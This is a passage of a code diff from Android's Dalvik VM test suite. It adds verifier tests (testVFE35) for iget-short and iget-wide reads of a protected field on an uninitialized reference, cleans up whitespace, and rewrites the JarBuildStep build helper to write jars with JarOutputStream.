         load("dot.junit.opcodes.iget_short.d.T_iget_short_15", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget_short shall not work for int fields
      */
     public void testVFE10() {
         load("dot.junit.opcodes.iget_short.d.T_iget_short_16", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget_short shall not work for byte fields
      */
     public void testVFE11() {
         load("dot.junit.opcodes.iget_short.d.T_iget_short_17", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget_short shall not work for boolean fields
      */
     public void testVFE12() {
         load("dot.junit.opcodes.iget_short.d.T_iget_short_18", VerifyError.class);
-    }    
-    
+    }
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget_short shall not work for double fields
      */
     public void testVFE13() {
         load("dot.junit.opcodes.iget_short.d.T_iget_short_19", VerifyError.class);
-    } 
-    
+    }
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget_short shall not work for long fields
      */
     public void testVFE14() {
         load("dot.junit.opcodes.iget_short.d.T_iget_short_20", VerifyError.class);
     }
-    
+
     /**
      * @constraint B12
      * @title Attempt to read inaccessible protected field.
@@ -194,24 +186,32 @@
      * @title Attempt to read static  field.
      */
     public void testVFE16() {
-        //@uses dot.junit.opcodes.iget_short.TestStubs
         loadAndRun("dot.junit.opcodes.iget_short.d.T_iget_short_5",
                    IncompatibleClassChangeError.class);
     }
 
     /**
-     * @constraint B6 
-     * @title instance fields may only be accessed on already initialized instances. 
+     * @constraint B6
+     * @title instance fields may only be accessed on already initialized instances.
      */
     public void testVFE30() {
         load("dot.junit.opcodes.iget_short.d.T_iget_short_30", VerifyError.class);
     }
 
     /**
-     * @constraint N/A 
-     * @title instance fields may only be accessed on already initialized instances. 
+     * @constraint N/A
+     * @title instance fields may only be accessed on already initialized instances.
      */
     public void testVFE31() {
         load("dot.junit.opcodes.iget_short.d.T_iget_short_31", VerifyError.class);
     }
+
+    /**
+     * @constraint N/A
+     * @title Attempt to read inaccessible protected field on uninitialized reference.
+     */
+    public void testVFE35() {
+        //@uses dot.junit.opcodes.iget_short.TestStubs
+        load("dot.junit.opcodes.iget_short.d.T_iget_short_35", VerifyError.class);
+    }
 }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.d
index e806df2..f3298fb 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.d
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.d
@@ -24,14 +24,14 @@
        return-void
 .end method
 
-.method public run()V
+.method public run()S
 .limit regs 3
 
        new-instance v0, Ldot/junit/opcodes/iget_short/TestStubs;
        invoke-direct {v0}, dot/junit/opcodes/iget_short/TestStubs/<init>()V
-       
+
        iget-short v1, v0, dot.junit.opcodes.iget_short.TestStubs.TestStubProtectedField S
-       return-void
+       return v1
 .end method
 
 
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.java
index 5bb7f6e..bcb8dca 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.java
@@ -18,6 +18,7 @@
 
 public class T_iget_short_21 {
 
-    public void run() {
+    public short run() {
+        return 0;
     }
 }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_35.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_35.d
new file mode 100644
index 0000000..5cde5bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_35.d
@@ -0,0 +1,32 @@
+; Copyright (C) 2016 The Android Open Source Project
+;
+; Licensed under the Apache License, Version 2.0 (the "License");
+; you may not use this file except in compliance with the License.
+; You may obtain a copy of the License at
+;
+;      http://www.apache.org/licenses/LICENSE-2.0
+;
+; Unless required by applicable law or agreed to in writing, software
+; distributed under the License is distributed on an "AS IS" BASIS,
+; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+; See the License for the specific language governing permissions and
+; limitations under the License.
+
+.source T_iget_short_35.java
+.class public dot.junit.opcodes.iget_short.d.T_iget_short_35
+.super java/lang/Object
+
+.method public <init>()V
+.limit regs 1
+       invoke-direct {v0}, java/lang/Object/<init>()V
+       return-void
+.end method
+
+.method public run()S
+.limit regs 2
+       iget-short v0, v1, dot.junit.opcodes.iget_short.TestStubs.TestStubProtectedField S
+       return v0
+.end method
+
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_35.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_35.java
new file mode 100644
index 0000000..f92f2b6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_35.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package dot.junit.opcodes.iget_short.d;
+
+public class T_iget_short_35 {
+
+    public short run() {
+        return 0;
+    }
+}
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_6.d
index 764d42e..2d9ab9b 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_6.d
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_6.d
@@ -27,7 +27,10 @@
 .method public run()S
 .limit regs 3
 
-       iget-short v1, v2, dot.junit.opcodes.iget_short.TestStubs.TestStubField S
+       new-instance v0, Ldot/junit/opcodes/iget_short/TestStubs;
+       invoke-direct {v0}, dot/junit/opcodes/iget_short/TestStubs/<init>()V
+
+       iget-short v1, v0, dot.junit.opcodes.iget_short.TestStubs.TestStubField S
        return v1
 .end method
 
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/TestStubs.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/TestStubs.java
index f90a470..79e71c4 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/TestStubs.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/TestStubs.java
@@ -19,6 +19,6 @@
 public class TestStubs {
     // used by testVFE4
     private long TestStubField = 50;
-    // ussed by testVFE15
+    // ussed by testVFE15 and testVFE35
     protected long TestStubProtectedField = 50;
 }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/Test_iget_wide.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/Test_iget_wide.java
index f82a1d3..6bb996f 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/Test_iget_wide.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/Test_iget_wide.java
@@ -31,7 +31,7 @@
 import dot.junit.opcodes.iget_wide.d.T_iget_wide_9;
 
 public class Test_iget_wide extends DxTestCase {
-    
+
     /**
      * @title type - long
      */
@@ -63,10 +63,10 @@
      */
     public void testE2() {
         loadAndRun("dot.junit.opcodes.iget_wide.d.T_iget_wide_9", NullPointerException.class);
-    }   
+    }
 
     /**
-     * @constraint A11 
+     * @constraint A11
      * @title constant pool index
      */
     public void testVFE1() {
@@ -74,24 +74,22 @@
     }
 
     /**
-     * 
-     * @constraint A23 
+     * @constraint A23
      * @title number of registers
      */
     public void testVFE2() {
         load("dot.junit.opcodes.iget_wide.d.T_iget_wide_3", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B13 
-     * @title read long from integer field - only field with same name but 
+     * @constraint B13
+     * @title read long from integer field - only field with same name but
      * different type exists
      */
     public void testVFE3() {
         loadAndRun("dot.junit.opcodes.iget_wide.d.T_iget_wide_13", NoSuchFieldError.class);
     }
-    
+
     /**
      * @constraint n/a
      * @title Attempt to read inaccessible field.
@@ -103,7 +101,7 @@
 
     /**
      * @constraint n/a
-     * @title Attempt to read field of undefined class. 
+     * @title Attempt to read field of undefined class.
      */
     public void testVFE5() {
         loadAndRun("dot.junit.opcodes.iget_wide.d.T_iget_wide_7", NoClassDefFoundError.class);
@@ -125,69 +123,63 @@
         //@uses dot.junit.opcodes.iget_wide.d.T_iget_wide_1
         loadAndRun("dot.junit.opcodes.iget_wide.d.T_iget_wide_12", IllegalAccessError.class);
     }
-   
+
     /**
-     * @constraint B1 
+     * @constraint B1
      * @title iget-wide shall not work for reference fields
      */
     public void testVFE8() {
         load("dot.junit.opcodes.iget_wide.d.T_iget_wide_14", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget-wide shall not work for short fields
      */
     public void testVFE9() {
         load("dot.junit.opcodes.iget_wide.d.T_iget_wide_15", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget-wide shall not work for boolean fields
      */
     public void testVFE10() {
         load("dot.junit.opcodes.iget_wide.d.T_iget_wide_16", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget-wide shall not work for char fields
      */
     public void testVFE11() {
         load("dot.junit.opcodes.iget_wide.d.T_iget_wide_17", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget-wide shall not work for byte fields
      */
     public void testVFE12() {
         load("dot.junit.opcodes.iget_wide.d.T_iget_wide_18", VerifyError.class);
-    }    
-    
+    }
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget-wide shall not work for float fields
      */
     public void testVFE13() {
         load("dot.junit.opcodes.iget_wide.d.T_iget_wide_19", VerifyError.class);
-    } 
-    
+    }
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget-wide shall not work for int fields
      */
     public void testVFE14() {
         load("dot.junit.opcodes.iget_wide.d.T_iget_wide_20", VerifyError.class);
     }
-    
+
     /**
      * @constraint B12
      * @title Attempt to read inaccessible protected field.
@@ -202,14 +194,13 @@
      * @title Attempt to read static  field.
      */
     public void testVFE16() {
-        //@uses dot.junit.opcodes.iget_wide.TestStubs
-        loadAndRun("dot.junit.opcodes.iget_wide.d.T_iget_wide_5", 
+        loadAndRun("dot.junit.opcodes.iget_wide.d.T_iget_wide_5",
                    IncompatibleClassChangeError.class);
     }
 
     /**
-     * @constraint B6 
-     * @title instance fields may only be accessed on already initialized instances. 
+     * @constraint B6
+     * @title instance fields may only be accessed on already initialized instances.
      */
     public void testVFE30() {
         load("dot.junit.opcodes.iget_wide.d.T_iget_wide_30", VerifyError.class);
@@ -217,9 +208,18 @@
 
     /**
      * @constraint N/A
-     * @title instance fields may only be accessed on already initialized instances. 
+     * @title instance fields may only be accessed on already initialized instances.
      */
     public void testVFE31() {
         load("dot.junit.opcodes.iget_wide.d.T_iget_wide_31", VerifyError.class);
     }
+
+    /**
+     * @constraint N/A
+     * @title Attempt to read inaccessible protected field on uninitialized reference.
+     */
+    public void testVFE35() {
+        //@uses dot.junit.opcodes.iget_wide.TestStubs
+        load("dot.junit.opcodes.iget_wide.d.T_iget_wide_35", VerifyError.class);
+    }
 }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_35.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_35.d
new file mode 100644
index 0000000..505b06e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_35.d
@@ -0,0 +1,31 @@
+; Copyright (C) 2016 The Android Open Source Project
+;
+; Licensed under the Apache License, Version 2.0 (the "License");
+; you may not use this file except in compliance with the License.
+; You may obtain a copy of the License at
+;
+;      http://www.apache.org/licenses/LICENSE-2.0
+;
+; Unless required by applicable law or agreed to in writing, software
+; distributed under the License is distributed on an "AS IS" BASIS,
+; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+; See the License for the specific language governing permissions and
+; limitations under the License.
+
+.source T_iget_wide_35.java
+.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_35
+.super java/lang/Object
+
+.method public <init>()V
+.limit regs 1
+       invoke-direct {v0}, java/lang/Object/<init>()V
+       return-void
+.end method
+
+.method public run()J
+.limit regs 2
+       iget-wide v0, v1, dot.junit.opcodes.iget_wide.TestStubs.TestStubProtectedField J
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_35.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_35.java
new file mode 100644
index 0000000..5a8fc86
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_35.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package dot.junit.opcodes.iget_wide.d;
+
+public class T_iget_wide_35 {
+
+    public long run() {
+        return -99;
+    }
+}
diff --git a/tools/vm-tests-tf/src/util/build/JarBuildStep.java b/tools/vm-tests-tf/src/util/build/JarBuildStep.java
index 776e9059..7fbe2d5 100644
--- a/tools/vm-tests-tf/src/util/build/JarBuildStep.java
+++ b/tools/vm-tests-tf/src/util/build/JarBuildStep.java
@@ -16,28 +16,36 @@
 
 package util.build;
 
-import sun.tools.jar.Main;
-
+import java.io.BufferedInputStream;
 import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
 import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.jar.JarEntry;
+import java.util.jar.JarOutputStream;
 
-
+/**
+ * JarBuildStep takes a single input file and embeds it into a (new) jar file as a single entry.
+ */
 public class JarBuildStep extends BuildStep {
 
-    String destFileName;
+    String outputJarEntryName;
     private final boolean deleteInputFileAfterBuild;
 
-    public JarBuildStep(BuildFile inputFile, String destFileName,
-            BuildFile outputFile, boolean deleteInputFileAfterBuild) {
-        super(inputFile, outputFile);
-        this.destFileName = destFileName;
+    public JarBuildStep(BuildFile inputFile, String outputJarEntryName,
+            BuildFile outputJarFile, boolean deleteInputFileAfterBuild) {
+        super(inputFile, outputJarFile);
+        this.outputJarEntryName = outputJarEntryName;
         this.deleteInputFileAfterBuild = deleteInputFileAfterBuild;
     }
 
     @Override
     boolean build() {
         if (super.build()) {
-            File tempFile = new File(inputFile.folder, destFileName);
+            File tempFile = new File(inputFile.folder, outputJarEntryName);
             try {
                 if (!inputFile.fileName.equals(tempFile)) {
                     copyFile(inputFile.fileName, tempFile);
@@ -56,25 +64,53 @@
                         + outDir.getAbsolutePath());
                 return false;
             }
-            String[] arguments = new String[] {
-                    "-cMf", outputFile.fileName.getAbsolutePath(), "-C",
-                    inputFile.folder.getAbsolutePath(), destFileName};
-            Main main = new Main(System.out, System.err, "jar");
-            boolean success = main.run(arguments);
 
-            if (success) {
-                if (tempFile != null) {
-                    tempFile.delete();
-                }
-                if (deleteInputFileAfterBuild) {
-                    inputFile.fileName.delete();
-                }
-            } else {
-                System.err.println("exception in JarBuildStep while calling jar with args:" +
-                        " \"-cMf\", "+outputFile.fileName.getAbsolutePath()+", \"-C\"," + 
-                        inputFile.folder.getAbsolutePath()+", "+ destFileName);
+            // Find the input. We'll need to look into the input folder, but check with the
+            // (relative) destination filename (this is effectively removing the inputFile folder
+            // from the entry path in the jar file).
+            Path absoluteInputPath = Paths.get(inputFile.folder.getAbsolutePath())
+                    .resolve(outputJarEntryName);
+            File absoluteInputFile = absoluteInputPath.toFile();
+            if (!absoluteInputFile.exists()) {
+                // Something went wrong.
+                throw new IllegalArgumentException(absoluteInputFile.getAbsolutePath());
             }
-            return success;
+
+            // Use a JarOutputStream to create the output jar file.
+            File jarOutFile = outputFile.fileName;
+            try (JarOutputStream jarOut = new JarOutputStream(new FileOutputStream(jarOutFile))) {
+                // Create the JAR entry for the file. Use destFileName, and copy the timestamp
+                // from the input.
+                JarEntry entry = new JarEntry(outputJarEntryName);
+                entry.setTime(absoluteInputFile.lastModified());
+
+                // Push the entry. The stream will then be ready to accept content.
+                jarOut.putNextEntry(entry);
+
+                // Copy absoluteInputFile into the jar file.
+                Files.copy(absoluteInputPath, jarOut);
+
+                // Finish the entry.
+                jarOut.closeEntry();
+
+                // (Implicitly close the stream, finishing the jar file.)
+            } catch (Exception e) {
+                System.err.println("exception in JarBuildStep for " +
+                        outputFile.fileName.getAbsolutePath() + ", " + outputJarEntryName);
+                e.printStackTrace(System.err);
+                jarOutFile.delete();
+                return false;
+            }
+
+            // Clean up.
+            if (tempFile != null) {
+                tempFile.delete();
+            }
+            if (deleteInputFileAfterBuild) {
+                inputFile.fileName.delete();
+            }
+
+            return true;
         }
         return false;
     }
@@ -82,7 +118,7 @@
     @Override
     public int hashCode() {
         return inputFile.hashCode() ^ outputFile.hashCode()
-                ^ destFileName.hashCode();
+                ^ outputJarEntryName.hashCode();
     }
 
     @Override
@@ -91,7 +127,7 @@
             JarBuildStep other = (JarBuildStep) obj;
             return inputFile.equals(other.inputFile)
                     && outputFile.equals(other.outputFile)
-                    && destFileName.equals(other.destFileName);
+                    && outputJarEntryName.equals(other.outputJarEntryName);
 
         }
         return false;